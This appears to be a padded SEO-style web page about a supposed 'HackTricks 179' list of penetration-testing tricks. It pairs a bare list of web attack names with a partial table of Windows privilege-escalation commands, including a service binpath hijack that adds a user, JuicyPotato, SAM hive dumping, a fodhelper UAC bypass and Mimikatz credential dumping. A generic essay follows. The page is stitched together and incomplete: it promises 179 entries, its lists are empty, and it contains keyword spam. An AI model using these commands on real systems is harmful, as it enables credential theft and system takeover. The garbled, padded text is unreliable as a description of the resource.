If one were to curate a list of the "Best" hacks within the book, they typically fall into the category of Local Privilege Escalation (LPE). These are the moments during an engagement where a tester moves from a low-privilege user (like www-data) to root or SYSTEM.
Below is a concise, structured, and actionable compilation of 179 practical offensive-security techniques, tools, and workflows inspired by common pentesting references and aggregated best practices. Each entry includes a short description, when to use it, and concise actionable steps or commands. Use responsibly and only on systems you own or are authorized to test.
Note: This is a long list; use Ctrl/Cmd+F to jump to sections.
Blind SQLi (time-based)
NoSQL Injection (MongoDB)
Command injection (OS)
SSTI (Server-Side Template Injection)
XSS (Stored, Reflected, DOM)
CSRF testing
IDOR / Insecure Direct Object Reference
Authentication bypass (logic flaws)
Session fixation and session hijacking
File upload vulnerabilities (unrestricted)
Insecure deserialization
SSRF (Server-Side Request Forgery)
Rate limiting abuse / brute-force
Business logic flaws
Clickjacking vulnerability check
Remote file inclusion (RFI/LFI)
XML External Entity (XXE)
Cache poisoning / HTTP request smuggling hacktricks 179 best
OAuth & SSO misconfigurations
| # | Trick | Command / Technique |
|---|-------|----------------------|
| 31 | AlwaysInstallElevated MSI | reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer |
| 32 | Unquoted service paths | wmic service get name,displayname,pathname,startmode |
| 33 | Weak service permissions (sc.exe) | sc config SERVICE binpath="cmd.exe /c net user hacker pass /add" |
| 34 | SeImpersonate (Potato家族) | JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami" |
| 35 | Saved RDP credentials | cmdkey /list → runas /savecred |
| 36 | SAM & SYSTEM backup | reg save hklm\sam sam.save |
| 37 | Writable %PATH% folders | where.exe check + drop whoami.exe |
| 38 | PrintNightmare (CVE-2021-34527) | MS-RPRN → SharpPrintNightmare.exe |
| 39 | UAC bypass – fodhelper | reg add HKCU\Software\Classes\ms-settings\shell\open\command |
| 40 | Logon scripts from registry | reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" |
| ... | ... | ... |
| 60 | Mimikatz sekurlsa | sekurlsa::logonpasswords |
Hacktricks is an online platform and community that focuses on cybersecurity, penetration testing, and ethical hacking. It provides a wide range of resources, including tutorials, guides, and tools, aimed at both beginners and professionals in the field of cybersecurity. The platform covers various topics such as web exploitation, mobile application security, cloud security, and more.
The cybersecurity community frequently ranks HackTricks as the #1 go-to resource for several reasons:
The bulk of the "179 best" focuses on moving from www-data to root. These are the commands that HackTricks lists as "Highest Probability."
HackTricks isn't just a reference — it's a mindset. The 179 tricks above represent the most repeated, highest-value techniques in real pentests, CTFs, and red team engagements.
“A trick is only a trick until you understand why it works. Then it becomes a tool.”
Go practice. Break things (ethically). And always keep HackTricks in your back pocket.
Want the full 179 commands in a cheat sheet PDF? Drop a comment or DM.
Introduction
Hacktricks is a popular online platform that provides a comprehensive guide to penetration testing and cybersecurity. One of the most sought-after resources on the platform is Hacktricks 179, a collection of tips, tricks, and techniques for bug bounty hunters and security researchers. In this essay, we will explore the key takeaways from Hacktricks 179 and discuss its significance in the cybersecurity community.
What is Hacktricks 179?
Hacktricks 179 is a curated list of 179 tricks, techniques, and tools that can be used to identify vulnerabilities and exploit them. The list was compiled by a community of experienced bug bounty hunters and security researchers who shared their knowledge and expertise on the Hacktricks platform. The collection covers a wide range of topics, including web application security, network security, and mobile security.
Key Takeaways from Hacktricks 179
Hacktricks 179 provides a wealth of information for security researchers and bug bounty hunters. Some of the key takeaways from the collection include:
Significance of Hacktricks 179
Hacktricks 179 is significant in the cybersecurity community for several reasons:
Conclusion
In conclusion, Hacktricks 179 is a valuable resource for security researchers and bug bounty hunters. The collection provides a comprehensive guide to penetration testing and cybersecurity, covering a wide range of topics and techniques. Its significance lies in its community-driven approach, comprehensive coverage, and practical examples. As the cybersecurity landscape continues to evolve, resources like Hacktricks 179 will remain essential for those looking to stay up-to-date with the latest techniques and tools.
Best Practices
For those looking to get the most out of Hacktricks 179, here are some best practices:
By following these best practices and taking advantage of resources like Hacktricks 179, security researchers and bug bounty hunters can improve their skills and stay ahead of the curve in the ever-evolving cybersecurity landscape.